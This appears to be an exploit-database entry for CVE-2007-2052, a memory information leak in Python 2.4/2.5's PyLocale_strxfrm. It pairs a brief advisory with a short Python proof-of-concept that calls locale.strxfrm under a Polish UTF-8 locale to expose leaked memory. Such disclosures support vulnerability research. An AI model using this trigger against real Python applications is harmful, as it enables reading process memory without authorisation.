Python 2.5 - 'PyLocale_strxfrm' Remote Information Leak

Author: Piotr Engelking
type: remote
platform: linux
port: 
date_added: 2007-05-08
date_updated: 2013-12-04
verified: 1
codes: CVE-2007-2052;OSVDB-35247
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source: https://www.securityfocus.com/bid/23887/info

Python applications that use the 'PyLocale_strxfrm' function are prone to an information leak.

Exploiting this issue allows remote attackers to read portions of memory.

Python 2.4.4-2 and 2.5 are confirmed vulnerable.

#!/usr/bin/python

import locale

print locale.setlocale(locale.LC_COLLATE, 'pl_PL.UTF8')
print repr(locale.strxfrm('a'))